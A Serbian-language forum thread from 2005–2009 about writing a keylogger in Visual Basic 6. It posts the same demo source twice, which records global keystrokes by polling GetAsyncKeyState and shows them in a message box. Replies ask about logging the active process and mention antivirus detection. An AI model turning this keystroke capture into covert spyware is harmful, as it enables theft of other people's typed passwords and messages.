Re: Keylogger
20.04.2005. u 12:22 · pre 261 meseci
#2
Code:
'In a module
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" _
(ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, _
lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, _
ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" _
(ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, _
ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
'In a form
Private Sub Form_Load()
'KPD-Team 1999
'URL: http://www.allapi.net/
'E-Mail: [email protected]
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Start this project, go to another application, type something, " & _
"switch back to this application and unload the form. If you unload " & _
"the form, a messagebox with all the typed keys will be shown."
'Clear the form
Me.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'Set the rectangle's values
SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'Draw the text on the form
DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'Show all the typed keys
MsgBox sSave
End Sub
'In a module
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" _
(ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, _
lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, _
ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" _
(ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, _
ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
'In a form
Private Sub Form_Load()
'KPD-Team 1999
'URL: http://www.allapi.net/
'E-Mail: [email protected]
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Start this project, go to another application, type something, " & _
"switch back to this application and unload the form. If you unload " & _
"the form, a messagebox with all the typed keys will be shown."
'Clear the form
Me.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'Set the rectangle's values
SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'Draw the text on the form
DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'Show all the typed keys
MsgBox sSave
End Sub
Potpis
Re: Keylogger
20.04.2005. u 23:17 · pre 261 meseci
#3
Mladenovitz, hvala na brzom odgovoru.
Jos me nesto zanima.kako dobiti ime procesa u kojem tekst upisan?
Jos me nesto zanima.kako dobiti ime procesa u kojem tekst upisan?
Re: Keylogger
21.04.2005. u 15:37 · pre 261 meseci
#4
Imam ja jedno podpitanje. Koji je razlog davanja prednosti ovom nacinu umesto koriscanja keyboard hook-a?
Re: Keylogger
21.04.2005. u 16:02 · pre 261 meseci
#5
Citat:
Shadowed: Koji je razlog davanja prednosti ovom nacinu umesto koriscanja keyboard hook-a?
Ovaj kod mi je bio "pod rukom"
Potpis
Re: Keylogger
28.04.2005. u 22:32 · pre 261 meseci
#6
I mene interesuje kako da se vidi koji je proces bio aktivan dok je nesto kucano.
I jos nesto zasto ovaj source ne belezi znakove .'\][ itd i umesto 0123...9 na numerickom delu tastature belezi abcd....
I jos nesto zasto ovaj source ne belezi znakove .'\][ itd i umesto 0123...9 na numerickom delu tastature belezi abcd....
Potpis
||< ArtifeX >||
Re: Keylogger
18.12.2007. u 00:16 · pre 229 meseci
#7
Ako pak ne znate VB6 dobro i zelite procese, znakove ili pak sta drugo imate source code bazu http://www.planetsourcecode.com/ pa potrazite ima puno primera. Mada najveci problem kod njih je sto ce retko koji proci AV zastitu.
Re: Keylogger u VB6
14.11.2009. u 15:54 · pre 206 meseci
#8
moze li neko da ostavi screanshot za izgled keyloggera u VB6 ,sa ovum gore kodom ??
Potpis
kevin